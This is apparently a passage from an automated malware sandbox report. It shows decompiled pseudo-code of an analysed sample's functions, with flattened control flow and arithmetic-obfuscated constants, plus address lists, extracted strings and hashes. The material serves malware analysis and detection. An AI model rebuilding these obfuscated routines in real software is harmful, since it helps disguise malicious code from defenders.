									_push(_v2744);
									_push(_v2716);
									_push(_v2844);
									_push(1);
									_push(0);
									E00FA06EF(_v2708, __eflags);
									_t883 =  &(_t883[8]);
									_t877 = 0x58d7aaf;
									while(1) {
										L1:
										_t756 = 0x32a72b9;
										goto L2;
									}
								} else {
									__eflags = _t877 - 0xe471d7b;
									if(__eflags != 0) {
										goto L24;
									} else {
										E00F824AA(_t809, _v2652, __eflags,  &_v2084, _v2680, _v2740, _v2780);
										_t766 = E00F90F17(_v2892, _v2748,  &_v2084, _v2772, _v2672);
										_t884 =  &(_t883[7]);
										 *_t766 = 0;
										E00F9CC3F(_v2816,  &_v1044, __eflags, _v2644);
										 *_t884 = 0xf811b0;
										E00FA06A6(__eflags,  &_v2084, _v2860, E00FA0AD3(_v2792, _v2800, __eflags), _v2868, _v2876,  &_v2604, _v2884);
										E00F92EED(_v2784, _v2636, _v2664, _t768);
										_t809 =  &_v2604;
										_t773 = E00FA3306(_t809, _v2760, _v2768, _v2776, _t882, _v2852);
										_t883 =  &(_t884[0xd]);
										__eflags = _t773;
										if(__eflags != 0) {
											_t877 = 0xe4882e;
											while(1) {
												L1:
												_t756 = 0x32a72b9;
												goto L2;
											}
										}
									}
								}
							}
						}
						goto L27;
						L24:
						__eflags = _t877 - 0x51bfa3f;
					} while (__eflags != 0);
					return _t756;
				}
			}

0x00f91c12
0x00f91c18
0x00f91c22
0x00f91c2d
0x00f91c38
0x00f91c40
0x00f91c4b
0x00f91c56
0x00f91c61
0x00f91c6c
0x00f91c74
0x00f91c7c
0x00f91c84
0x00f91c8c
0x00f91c94
0x00f91cac
0x00f91cae
0x00f91cb3
0x00f91cb8
0x00f91cbf
0x00f91cca
0x00f91cd5
0x00f91cdd
0x00f91ce9
0x00f91ced
0x00f91cf5
0x00f91cfd
0x00f91d08
0x00f91d13
0x00f91d1e
0x00f91d26
0x00f91d2e
0x00f91d3e
0x00f91d42
0x00f91d4a
0x00f91d52
0x00f91d57
0x00f91d5f
0x00f91d67
0x00f91d6f
0x00f91d82
0x00f91d83
0x00f91d8a
0x00f91d95
0x00f91da9
0x00f91db0
0x00f91dbb
0x00f91dc6
0x00f91dd1
0x00f91ddc
0x00f91de7
0x00f91df2
0x00f91dfa
0x00f91e02
0x00f91e0d
0x00f91e15
0x00f91e1d
0x00f91e22
0x00f91e2a
0x00f91e32
0x00f91e3d
0x00f91e48
0x00f91e53
0x00f91e5e
0x00f91e66
0x00f91e71
0x00f91e7e
0x00f91e89
0x00f91e94
0x00f91e9f
0x00f91eaa
0x00f91eb5
0x00f91ec0
0x00f91ecb
0x00f91ed6
0x00f91ede
0x00f91ee9
0x00f91ef4
0x00f91eff
0x00f91f06
0x00f91f11
0x00f91f1c
0x00f91f24
0x00f91f2c
0x00f91f37
0x00f91f3f
0x00f91f44
0x00f91f49
0x00f91f51
0x00f91f59
0x00f91f61
0x00f91f66
0x00f91f6e
0x00f91f73
0x00f91f7b
0x00f91f83
0x00f91f8b
0x00f91f93
0x00f91f9b
0x00f91fa3
0x00f91fab
0x00f91fb3
0x00f91fbb
0x00f91fc0
0x00f91fc8
0x00f91fd3
0x00f91fdb
0x00f91fe3
0x00f91fee
0x00f91ff9
0x00f92004
0x00f9200f
0x00f9201a
0x00f92025
0x00f92030
0x00f9203b
0x00f92044
0x00f92049
0x00f92052
0x00f92059
0x00f9205e
0x00f92067
0x00f92072
0x00f9207d
0x00f92090
0x00f92091
0x00f92098
0x00f920a3
0x00f920b6
0x00f920bd
0x00f920c8
0x00f920d3
0x00f920e1
0x00f920ea
0x00f920f7
0x00f920fa
0x00f920fe
0x00f92106
0x00f9210e
0x00f92116
0x00f9211e
0x00f92122
0x00f9212a
0x00f92135
0x00f92148
0x00f9214f
0x00f9215a
0x00f92162
0x00f92167
0x00f9216f
0x00f92177
0x00f9217f
0x00f92187
0x00f92197
0x00f921a0
0x00f921a1
0x00f921a5
0x00f921ad
0x00f921b8
0x00f921c0
0x00f921c8
0x00f921d3
0x00f921de
0x00f921e6
0x00f921f1
0x00f921fc
0x00f92210
0x00f92217
0x00f92222
0x00f9222f
0x00f92233
0x00f9223b
0x00f92240
0x00f92248
0x00f92253
0x00f9225e
0x00f92269
0x00f9227c
0x00f92283
0x00f9228e
0x00f92299
0x00f922a4
0x00f922ac
0x00f922b7
0x00f922c2
0x00f922cd
0x00f922d8
0x00f922e0
0x00f922e5
0x00f922ed
0x00f922f5
0x00f922fd
0x00f92305
0x00f9230d
0x00f92317
0x00f9231b
0x00f92323
0x00f9232e
0x00f92339
0x00f92344
0x00f92354
0x00f92359
0x00f9235f
0x00f92367
0x00f9236f
0x00f92377
0x00f9237f
0x00f92388
0x00f9238b
0x00f9238f
0x00f92397
0x00f9239f
0x00f923a7
0x00f923af
0x00f923b7
0x00f923bc
0x00f923c4
0x00f923cc
0x00f923d1
0x00f923d9
0x00f923e1
0x00f923e9
0x00f923f1
0x00f923fe
0x00f92402
0x00f92407
0x00f9240f
0x00f9241a
0x00f92422
0x00f9242d
0x00f92443
0x00f9244a
0x00f92452
0x00f9245d
0x00f92469
0x00f9246e
0x00f92474
0x00f92479
0x00f9247e
0x00f92486
0x00f92492
0x00f92497
0x00f9249d
0x00f924a5
0x00f924ad
0x00f924b5
0x00f924c0
0x00f924cf
0x00f924d2
0x00f924d9
0x00f924e4
0x00f924ef
0x00f924f7
0x00f92502
0x00f9250d
0x00f92515
0x00f92520
0x00f9252b
0x00f92533
0x00f92544
0x00f92547
0x00f9254e
0x00f92556
0x00f92561
0x00f9256c
0x00f92574
0x00f9257f
0x00f9258c
0x00f92595
0x00f92599
0x00f9259e
0x00f925a6
0x00f925b1
0x00f925bc
0x00f925c7
0x00f925d2
0x00f925e8
0x00f925ef
0x00f925fa
0x00f92605
0x00f92617
0x00f9261c
0x00f92625
0x00f92630
0x00f92638
0x00f92640
0x00f92648
0x00f9264d
0x00f92655
0x00f9265d
0x00f92665
0x00f9266a
0x00f92672
0x00f9267a
0x00f92685
0x00f9268d
0x00f92698
0x00f926aa
0x00f926af
0x00f926b8
0x00f926c3
0x00f926ce
0x00f926e0
0x00f926e3
0x00f926ea
0x00f926f5
0x00f92700
0x00f92708
0x00f92710
0x00f92718
0x00f9271d
0x00f92725
0x00f92730
0x00f9273b
0x00f92746
0x00f92751
0x00f9275c
0x00f92767
0x00f92772
0x00f9277d
0x00f92788
0x00f92793
0x00f9279b
0x00f927a3
0x00f927ae
0x00f927b9
0x00f927c4
0x00f927d3
0x00f927d8
0x00f927df
0x00f927e1
0x00f927e1
0x00f927e1
0x00f927e6
0x00f927e6
0x00f927e6
0x00f927e6
0x00f927ec
0x00000000
0x00000000
0x00f927f2
0x00f92999
0x00f929be
0x00f929c5
0x00f929ca
0x00f929cd
0x00f927e1
0x00f927e1
0x00f927e1
0x00000000
0x00f927e1
0x00f927f8
0x00f927fe
0x00f92928
0x00f92937
0x00f9293d
0x00f92956
0x00f92977
0x00f9297f
0x00f92984
0x00f92987
0x00f92989
0x00f9298f
0x00f927e1
0x00f927e1
0x00f927e1
0x00000000
0x00f927e1
0x00f927e1
0x00f92804
0x00f92806
0x00f9289a
0x00f928e2
0x00f928f6
0x00f928fd
0x00f92902
0x00f92905
0x00f927e1
0x00f927e1
0x00f927e1
0x00000000
0x00f927e1
0x00f9280c
0x00f92812
0x00f92870
0x00f92874
0x00f92879
0x00f9287b
0x00f9287e
0x00f92885
0x00f9288a
0x00000000
0x00f92814
0x00f9281a
0x00000000
0x00f92bfe
0x00f92826
0x00000000
0x00f9282c
0x00f92840
0x00f92844
0x00f92849
0x00f9284c
0x00f927e1
0x00f927e1
0x00f927e1
0x00000000
0x00f927e1
0x00f927e1
0x00f92826
0x00f92812
0x00000000
0x00f92806
0x00f927fe
0x00f92c09
0x00f92c09
0x00000000
0x00f92c09
0x00f929d7
0x00f929dd
0x00f92bb5
0x00f92bbc
0x00f92bc1
0x00f92bc4
0x00f92bc9
0x00000000
0x00f929e3
0x00f929e3
0x00f929e9
0x00f92b6e
0x00f92b7c
0x00f92b81
0x00f92b86
0x00f92b8e
0x00000000
0x00f929ef
0x00f929ef
0x00f929f5
0x00f92b1b
0x00f92b29
0x00f92b2a
0x00f92b2c
0x00f92b33
0x00f92b3a
0x00f92b45
0x00f92b47
0x00f92b49
0x00f92b4e
0x00f92b51
0x00f927e1
0x00f927e1
0x00f927e1
0x00000000
0x00f927e1
0x00f929fb
0x00f929fb
0x00f92a01
0x00000000
0x00f92a07
0x00f92a2b
0x00f92a51
0x00f92a56
0x00f92a62
0x00f92a73
0x00f92a86
0x00f92abd
0x00f92adb
0x00f92ae4
0x00f92b01
0x00f92b06
0x00f92b09
0x00f92b0b
0x00f92b11
0x00f927e1
0x00f927e1
0x00f927e1
0x00000000
0x00f927e1
0x00f927e1
0x00f92b0b
0x00f92a01
0x00f929f5
0x00f929e9
0x00000000
0x00f92bce
0x00f92bce
0x00f92bce
0x00000000
0x00f927e6

Strings

XV, xrefs: 00F924E4
E`K, xrefs: 00F91E32
-Z1, xrefs: 00F92725
V=9, xrefs: 00F9267A
)wEUH, xrefs: 00F92052
*QD, xrefs: 00F921C8
A$0, xrefs: 00F921A5
W, xrefs: 00F9225E
$g , xrefs: 00F92072
:&, xrefs: 00F922D8
:Bp!, xrefs: 00F92116
EUH, xrefs: 00F9203B
"tK, xrefs: 00F92561
1d, xrefs: 00F9238F
$c, xrefs: 00F92746
P, xrefs: 00F91F59

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: "tK$$g $$c$*QD$-Z1$1d$:Bp!$:&$A$0$EUH$E`K$V=9$XV$ )wEUH$P$W
API String ID: 0-3509732160
Opcode ID: b779090cbd1cec516cd8fd6502bafb576904d2ec2925e6c49862b78abcf5a9d5
Instruction ID: cd2aba91bd3083b3977bb63199deeeeb4f3f919f763ca0fa535bad2d5d6841bb
Opcode Fuzzy Hash: b779090cbd1cec516cd8fd6502bafb576904d2ec2925e6c49862b78abcf5a9d5
Instruction Fuzzy Hash: A072F1715083809BE7B8CF21C98AB8BBBE1FBC4318F10891DE5D996260D7B58949DF53

Uniqueness

Uniqueness Score: -1.00%

Function 00F8996C, Relevance: 19.4, Strings: 15, Instructions: 674
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00F8996C(signed int* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, signed int _a36, intOrPtr _a40) {
				signed int* _v4;
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				void* __ecx;
				signed int _t757;
				void* _t765;
				signed int _t769;
				signed int _t775;
				signed int _t786;
				signed int _t788;
				signed int _t789;
				signed int _t790;
				signed int _t791;
				signed int _t792;
				signed int _t793;
				signed int _t794;
				signed int _t795;
				signed int _t796;
				signed int _t797;
				signed int _t798;
				signed int _t799;
				signed int _t800;
				signed int _t801;
				signed int _t802;
				signed int _t803;
				signed int _t804;
				void* _t805;
				signed int _t814;
				intOrPtr* _t823;
				void* _t874;
				signed int _t891;
				signed int _t892;
				signed int _t893;
				signed int _t895;
				signed int* _t902;
				void* _t904;

				_push(_a40);
				_push(_a36);
				_v4 = __edx;
				_push(_a32);
				_push(_a28);
				_push(_a24);
				_push(_a20 & 0x0000ffff);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E00F88002(_a20 & 0x0000ffff);
				_v264 = 0xc60fd9;
				_v264 = _v264 >> 0xb;
				_t902 =  &(( &_v268)[0xc]);
				_v264 = _v264 ^ 0xb6865c26;
				_v264 = _v264 ^ 0xb68644e7;
				_t786 = 0;
				_v232 = 0x94febf;
				_t893 = 0x15b98a1;
				_v232 = _v232 << 0xd;
				_v232 = _v232 + 0xffff7487;
				_v232 = _v232 ^ 0x8b0095cf;
				_v232 = _v232 ^ 0x14d7c15b;
				_v132 = 0x739728;
				_v132 = _v132 + 0x181a;
				_v132 = _v132 + 0xffff9c9c;
				_v132 = _v132 ^ 0x00734b16;
				_v188 = 0x783031;
				_v188 = _v188 << 5;
				_v12 = 0;
				_t788 = 0x6e;
				_v188 = _v188 * 0x59;
				_v188 = _v188 ^ 0x3918a120;
				_v148 = 0xdd82e;
				_v148 = _v148 | 0xe4e540fc;
				_v148 = _v148 + 0xc534;
				_v148 = _v148 ^ 0xe4eede32;
				_v116 = 0x899f5;
				_v116 = _v116 / _t788;
				_v116 = _v116 + 0x5648;
				_v116 = _v116 ^ 0x00406a4c;
				_v156 = 0x9ca5d6;
				_t789 = 0x1c;
				_t891 = 0x7b;
				_v156 = _v156 * 0x64;
				_v156 = _v156 << 9;
				_v156 = _v156 ^ 0x618b3000;
				_v32 = 0xd5cd6e;
				_v32 = _v32 / _t789;
				_v32 = _v32 ^ 0x0407a2c3;
				_v64 = 0x23343;
				_v64 = _v64 / _t891;
				_v64 = _v64 ^ 0x00080494;
				_v252 = 0xfa5485;
				_v252 = _v252 * 0x42;
				_v252 = _v252 | 0xc32886a6;
				_t790 = 0x50;
				_v252 = _v252 * 0x35;
				_v252 = _v252 ^ 0x8227d546;
				_v224 = 0x2e8bf6;
				_v224 = _v224 | 0xf76545cb;
				_v224 = _v224 / _t790;
				_v224 = _v224 << 6;
				_v224 = _v224 ^ 0xc5f30dc0;
				_v16 = 0x78ee4b;
				_v16 = _v16 << 1;
				_v16 = _v16 ^ 0x80f1dc96;
				_v208 = 0x791fee;
				_v208 = _v208 >> 8;
				_v208 = _v208 >> 2;
				_v208 = _v208 >> 0xb;
				_v208 = _v208 ^ 0x00000003;
				_v152 = 0xbd5041;
				_t791 = 5;
				_v152 = _v152 / _t791;
				_v152 = _v152 + 0x721a;
				_v152 = _v152 ^ 0x00264eb2;
				_v136 = 0x6c2d31;
				_v136 = _v136 + 0xffff6aee;
				_v136 = _v136 ^ 0x21760cef;
				_v136 = _v136 ^ 0x211d94ef;
				_v120 = 0x6ceb08;
				_v120 = _v120 + 0xffffcbf6;
				_v120 = _v120 ^ 0x9f43d110;
				_v120 = _v120 ^ 0x9f2f67f1;
				_v88 = 0xc74391;
				_v88 = _v88 + 0xffff6c5e;
				_v88 = _v88 ^ 0x00c6afec;
				_v128 = 0x4b3465;
				_v128 = _v128 | 0xcf5ecbdf;
				_v128 = _v128 ^ 0xcf5ffeff;
				_v264 = 0xfd23b8;
				_t792 = 0x4e;
				_v264 = _v264 / _t792;
				_t793 = 0x45;
				_v264 = _v264 / _t793;
				_v264 = _v264 ^ 0x0002f78a;
				_v264 = 0xfa9619;
				_t794 = 0x1e;
				_v264 = _v264 / _t794;
				_v264 = _v264 + 0xffffb0fb;
				_v264 = _v264 ^ 0x000b775c;
				_v264 = 0x807ba4;
				_v264 = _v264 << 4;
				_v264 = _v264 << 0xa;
				_v264 = _v264 ^ 0x1ee80ab8;
				_v264 = 0x9af257;
				_v264 = _v264 << 0xb;
				_v264 = _v264 * 0x56;
				_v264 = _v264 ^ 0x6b422079;
				_v268 = 0x26ec4d;
				_v268 = _v268 << 0xc;
				_v268 = _v268 >> 0xe;
				_v268 = _v268 ^ 0xbf1cc723;
				_v268 = _v268 ^ 0xbf1316e8;
				_v268 = 0x604ef4;
				_v268 = _v268 | 0xbb4d6b52;
				_v268 = _v268 >> 5;
				_t795 = 0x18;
				_v268 = _v268 / _t795;
				_v268 = _v268 ^ 0x003fa9db;
				_v268 = 0xff1eaf;
				_v268 = _v268 << 8;
				_t796 = 0xa;
				_v268 = _v268 * 0x6c;
				_v268 = _v268 >> 0xc;
				_v268 = _v268 ^ 0x000cb5e2;
				_v260 = 0xc7e312;
				_v260 = _v260 | 0x4ced50b1;
				_v260 = _v260 ^ 0x4ce89335;
				_v260 = 0xaa4ecb;
				_v260 = _v260 << 0x10;
				_v260 = _v260 ^ 0x4ec443b3;
				_v264 = 0x38c20f;
				_v264 = _v264 >> 9;
				_v264 = _v264 | 0x7754c32c;
				_v264 = _v264 ^ 0x775a6c62;
				_v268 = 0xc43478;
				_v268 = _v268 * 0x54;
				_v268 = _v268 ^ 0x37dd0540;
				_v268 = _v268 + 0x34a3;
				_v268 = _v268 ^ 0x77bf44fd;
				_v268 = 0x77fa17;
				_v268 = _v268 + 0xffffb1ac;
				_v268 = _v268 * 0x73;
				_v268 = _v268 << 5;
				_v268 = _v268 ^ 0xb8444167;
				_v172 = 0x123f2b;
				_v172 = _v172 ^ 0x6fe657fb;
				_v172 = _v172 + 0x9431;
				_v172 = _v172 ^ 0x6ff55f0d;
				_v240 = 0xf43856;
				_v240 = _v240 + 0xffff5dae;
				_v240 = _v240 + 0xffff503f;
				_v240 = _v240 >> 5;
				_v240 = _v240 ^ 0x000ec78e;
				_v80 = 0x77a9f7;
				_v80 = _v80 << 0xa;
				_v80 = _v80 ^ 0xdeafa158;
				_v248 = 0x33c41a;
				_v248 = _v248 + 0xffffb1d0;
				_v248 = _v248 * 0x66;
				_v248 = _v248 << 9;
				_v248 = _v248 ^ 0x01f08429;
				_v216 = 0x461c40;
				_v216 = _v216 * 0x16;
				_v216 = _v216 >> 0xb;
				_v216 = _v216 / _t796;
				_v216 = _v216 ^ 0x0005571e;
				_v164 = 0x51d98c;
				_v164 = _v164 | 0x3f5455a1;
				_v164 = _v164 * 0x74;
				_v164 = _v164 ^ 0xb2e52dfc;
				_v108 = 0x44745a;
				_t314 =  &_v108; // 0x44745a
				_v108 =  *_t314 * 0x63;
				_v108 = _v108 + 0xffff8cf2;
				_v108 = _v108 ^ 0x1a7ba94f;
				_v40 = 0xed32ff;
				_v40 = _v40 + 0x1ad9;
				_v40 = _v40 ^ 0x00e55aa4;
				_v196 = 0x47b3fb;
				_v196 = _v196 >> 0xe;
				_v196 = _v196 ^ 0xd9c7612f;
				_v196 = _v196 ^ 0xa0a00898;
				_v196 = _v196 ^ 0x7960f230;
				_v180 = 0x538ee1;
				_v180 = _v180 >> 6;
				_v180 = _v180 | 0xecdb2f6f;
				_v180 = _v180 ^ 0xecd76c94;
				_v104 = 0x633234;
				_v104 = _v104 ^ 0xd30b5520;
				_v104 = _v104 | 0xe2e43f1e;
				_v104 = _v104 ^ 0xf3ed65d6;
				_v212 = 0xf9c0f6;
				_v212 = _v212 + 0x2d4a;
				_t797 = 6;
				_v212 = _v212 * 0x4f;
				_v212 = _v212 + 0x46b3;
				_v212 = _v212 ^ 0x4d2b61f6;
				_v100 = 0xc841ec;
				_v100 = _v100 * 0x22;
				_v100 = _v100 ^ 0x1a9d1048;
				_v28 = 0x65babf;
				_v28 = _v28 + 0xffff8486;
				_v28 = _v28 ^ 0x006f3125;
				_v256 = 0xbe5bf2;
				_v256 = _v256 + 0xc39e;
				_v256 = _v256 * 0xc;
				_v256 = _v256 / _t797;
				_v256 = _v256 ^ 0x01787995;
				_v72 = 0xd91fd7;
				_v72 = _v72 + 0x652d;
				_v72 = _v72 ^ 0x00d4f002;
				_v96 = 0xd13a07;
				_t798 = 0x60;
				_v96 = _v96 / _t798;
				_v96 = _v96 ^ 0x000707c2;
				_v20 = 0xffc8b7;
				_v20 = _v20 ^ 0x1e1e598a;
				_v20 = _v20 ^ 0x1ee18fe4;
				_v176 = 0xcdab5;
				_v176 = _v176 ^ 0x9598c7bd;
				_v176 = _v176 + 0xffff92b0;
				_v176 = _v176 ^ 0x959d0362;
				_v184 = 0xa758a4;
				_v184 = _v184 + 0x5903;
				_v184 = _v184 + 0xfffff609;
				_v184 = _v184 ^ 0x00ae750e;
				_v56 = 0xc83e02;
				_v56 = _v56 << 2;
				_v56 = _v56 ^ 0x0323bea3;
				_v76 = 0xad0f66;
				_v76 = _v76 >> 0x10;
				_v76 = _v76 ^ 0x00063244;
				_v84 = 0x39efa1;
				_v84 = _v84 ^ 0xb68855ee;
				_v84 = _v84 ^ 0xb6b61069;
				_v92 = 0xe02175;
				_v92 = _v92 | 0xb2c815a7;
				_v92 = _v92 ^ 0xb2e41d90;
				_v236 = 0x4481b2;
				_v236 = _v236 + 0x743f;
				_v236 = _v236 * 0x2f;
				_v236 = _v236 >> 0xf;
				_v236 = _v236 ^ 0x0006d55a;
				_v160 = 0xb9532c;
				_v160 = _v160 << 5;
				_v160 = _v160 * 0x49;
				_v160 = _v160 ^ 0x9b1801bc;
				_v244 = 0x1281ad;
				_v244 = _v244 + 0xa67d;
				_v244 = _v244 ^ 0x7c1b37b8;
				_v244 = _v244 + 0xffff20cb;
				_v244 = _v244 ^ 0x7c0b9163;
				_v192 = 0x88e24d;
				_v192 = _v192 ^ 0x2ebd1bb6;
				_v192 = _v192 / _t891;
				_v192 = _v192 ^ 0x006b6db3;
				_v68 = 0xd4274f;
				_t799 = 0x2e;
				_v68 = _v68 / _t799;
				_v68 = _v68 ^ 0x00048e69;
				_v144 = 0xb83dd4;
				_v144 = _v144 | 0xb8649d90;
				_v144 = _v144 + 0x9cab;
				_v144 = _v144 ^ 0xb8f32006;
				_v228 = 0x23b3be;
				_v228 = _v228 << 8;
				_v228 = _v228 + 0x2e9b;
				_v228 = _v228 + 0xffff8964;
				_v228 = _v228 ^ 0x23ba9bf9;
				_v264 = 0xe685de;
				_t800 = 0x37;
				_v264 = _v264 * 5;
				_v264 = _v264 << 3;
				_v264 = _v264 ^ 0x240c8630;
				_v44 = 0x14cbda;
				_v44 = _v44 + 0xffff3a4b;
				_v44 = _v44 ^ 0x0010602b;
				_v52 = 0x1a3334;
				_v52 = _v52 ^ 0x068d8d0f;
				_v52 = _v52 ^ 0x06918054;
				_v60 = 0xaf3d51;
				_v60 = _v60 + 0xffff6264;
				_v60 = _v60 ^ 0x00a9df53;
				_v200 = 0x71a8f9;
				_v200 = _v200 + 0x8847;
				_v200 = _v200 ^ 0x82b40171;
				_v200 = _v200 / _t800;
				_v200 = _v200 ^ 0x02617ea6;
				_v204 = 0x911bb9;
				_t801 = 0x35;
				_v204 = _v204 * 0x50;
				_v204 = _v204 + 0xffff59e3;
				_v204 = _v204 / _t801;
				_v204 = _v204 ^ 0x00d8a8d3;
				_v48 = 0x1e2b49;
				_v48 = _v48 + 0xffff0c75;
				_v48 = _v48 ^ 0x001a2795;
				_v168 = 0xc7820c;
				_t802 = 0x39;
				_v168 = _v168 / _t802;
				_v168 = _v168 + 0xffff4704;
				_v168 = _v168 ^ 0x0003986f;
				_v124 = 0x6bd51f;
				_v124 = _v124 << 0xc;
				_v124 = _v124 * 0x75;
				_v124 = _v124 ^ 0x8677d78d;
				_v112 = 0x5ede35;
				_v112 = _v112 << 0xe;
				_v112 = _v112 | 0xed99d87a;
				_v112 = _v112 ^ 0xff9c1971;
				_v140 = 0xd25fe4;
				_v140 = _v140 ^ 0x91b7fe4b;
				_t803 = 0x31;
				_v140 = _v140 * 0x59;
				_v140 = _v140 ^ 0x8c53baba;
				_v24 = 0x69dec7;
				_v24 = _v24 + 0xffff289d;
				_v24 = _v24 ^ 0x0068496e;
				_v268 = 0xfe2e0f;
				_v268 = _v268 + 0x26d8;
				_v268 = _v268 / _t803;
				_t804 = 0x1a;
				_v268 = _v268 / _t804;
				_v268 = _v268 ^ 0x000142e0;
				_v260 = 0xf9e36a;
				_v260 = _v260 | 0x3f41e488;
				_v260 = _v260 ^ 0x3ff084b0;
				_t900 = _v8;
				_t892 = _v8;
				while(1) {
					L1:
					_t757 = _v220;
					_t805 = 0x8b02343;
					while(1) {
						L2:
						_t874 = 0x1521ea4;
						while(1) {
							L3:
							_t904 = _t893 - 0x65b0c22;
							if(_t904 > 0) {
								goto L18;
							}
							L4:
							if(_t904 == 0) {
								E00F87B46(_t757, _v140, _v24);
								_t893 = 0x2386dfb;
								while(1) {
									L1:
									_t757 = _v220;
									_t805 = 0x8b02343;
									goto L2;
								}
							} else {
								if(_t893 == _t874) {
									_t757 = E00F8F984(_v196, _t900, _t805, _t805, _v180, _t805, _v104, _a40, _t805, _v88, _v212, _a20, _v100, _v28);
									_t902 =  &(_t902[0xc]);
									_v220 = _t757;
									__eflags = _t757;
									_t805 = 0x8b02343;
									_t893 =  !=  ? 0x8b02343 : 0x2386dfb;
									goto L2;
								} else {
									if(_t893 == 0x15b98a1) {
										_t893 = 0x9ed2ff1;
										continue;
									} else {
										if(_t893 == 0x2386dfb) {
											E00F87B46(_t900, _v268, _v260);
										} else {
											if(_t893 == 0x4000434) {
												E00F87B46(_t892, _v124, _v112);
												_t893 = 0x65b0c22;
												while(1) {
													L1:
													_t757 = _v220;
													_t805 = 0x8b02343;
													goto L2;
												}
											} else {
												if(_t893 != 0x4250561) {
													L38:
													__eflags = _t893 - 0xc402532;
													if(_t893 != 0xc402532) {
														_t757 = _v220;
														continue;
													}
												} else {
													_t823 = _v4;
													if( *_t823 == 0) {
														_t769 = 0;
														__eflags = 0;
													} else {
														_t769 =  *((intOrPtr*)(_t823 + 4));
													}
													E00F9D4B7(_v200, _t892, _v204, _t823, _t769, _a8, _v48, _v168,  *_t823);
													_t902 =  &(_t902[7]);
													asm("sbb esi, esi");
													_t893 = (_t893 & 0x06f981ef) + 0x4000434;
													while(1) {
														L1:
														_t757 = _v220;
														_t805 = 0x8b02343;
														L2:
														_t874 = 0x1521ea4;
														while(1) {
															L3:
															_t904 = _t893 - 0x65b0c22;
															if(_t904 > 0) {
																goto L18;
															}
															goto L4;
														}
														goto L18;
													}
												}
											}
										}
									}
								}
							}
							L41:
							return _t786;
							L18:
							__eflags = _t893 - _t805;
							if(_t893 == _t805) {
								__eflags =  *_v4;
								if(__eflags == 0) {
									_t759 = _v12;
								} else {
									_push(0xf81178);
									_v12 = E00FA0AD3(_v256, _v72, __eflags);
								}
								_t814 = _v16 | _v224 | _v252 | _v64 | _v32 | _v156 | _v116 | _v148 | _v188;
								_t895 = _a36 & 1;
								__eflags = _t895;
								if(_t895 != 0) {
									__eflags = _t814;
								}
								_t892 = E00F9E70C(_t814, 1, _v96, _v20, _t814, _v176, _t814, _v184, _v220, _t814, _v56, _a28, _t759);
								E00F92EED(_v76, _v84, _v92, _v12);
								_t902 =  &(_t902[0xd]);
								__eflags = _t892;
								if(_t892 == 0) {
									_t893 = 0x65b0c22;
									goto L37;
								} else {
									_v36 = 1;
									E00F8D7E2(_t892,  &_v36, 4, _v236, _v152, _v160, _v244, _v192);
									_t902 =  &(_t902[6]);
									__eflags = _t895;
									if(_t895 != 0) {
										E00F95F7D(_v68, _t892,  &_v8, _v136, _v144, _v228,  &_v36);
										_t684 =  &_v36;
										 *_t684 = _v36 | _v128;
										__eflags =  *_t684;
										E00F8D7E2(_t892,  &_v36, _v8, _v264, _v120, _v44, _v52, _v60);
										_t902 =  &(_t902[0xb]);
									}
									_t893 = 0x4250561;
									goto L1;
								}
							} else {
								__eflags = _t893 - 0x93954fc;
								if(_t893 == 0x93954fc) {
									__eflags = E00F95B7C(_t892, _a16);
									_t893 = 0x4000434;
									_t765 = 1;
									_t786 =  !=  ? _t765 : _t786;
									while(1) {
										L1:
										_t757 = _v220;
										_t805 = 0x8b02343;
										goto L2;
									}
								} else {
									__eflags = _t893 - 0x9ed2ff1;
									if(_t893 == 0x9ed2ff1) {
										_t893 = 0xdffbe0d;
										continue;
									} else {
										__eflags = _t893 - 0xaf98623;
										if(__eflags == 0) {
											__eflags = E00FA314A(_t892, _v232, __eflags) - _v132;
											_t893 =  ==  ? 0x93954fc : 0x4000434;
											while(1) {
												L1:
												_t757 = _v220;
												_t805 = 0x8b02343;
												goto L2;
											}
										} else {
											__eflags = _t893 - 0xdffbe0d;
											if(_t893 == 0xdffbe0d) {
												_push(_t805);
												_t775 = E00F902E9(_v172, _v240, _v80, _t805, _t805, _v208, _t805, _v248);
												_t900 = _t775;
												__eflags = _t775;
												_t893 =  !=  ? 0x1521ea4 : 0xc402532;
												E00F8F699(_v216, 0, _v164, _v108, _v40);
												_t902 =  &(_t902[0xa]);
												L37:
												_t874 = 0x1521ea4;
												_t805 = 0x8b02343;
											}
											goto L38;
										}
									}
								}
							}
							goto L41;
						}
					}
				}
			}

0x00f8997d
0x00f89987
0x00f8998e
0x00f89995
0x00f8999c
0x00f899a3
0x00f899aa
0x00f899ab
0x00f899b2
0x00f899b9
0x00f899c0
0x00f899c7
0x00f899c9
0x00f899ce
0x00f899d8
0x00f899dd
0x00f899e0
0x00f899ea
0x00f899f2
0x00f899f4
0x00f899fc
0x00f89a01
0x00f89a06
0x00f89a0e
0x00f89a16
0x00f89a1e
0x00f89a29
0x00f89a34
0x00f89a3f
0x00f89a4a
0x00f89a52
0x00f89a57
0x00f89a65
0x00f89a68
0x00f89a6c
0x00f89a74
0x00f89a7f
0x00f89a8a
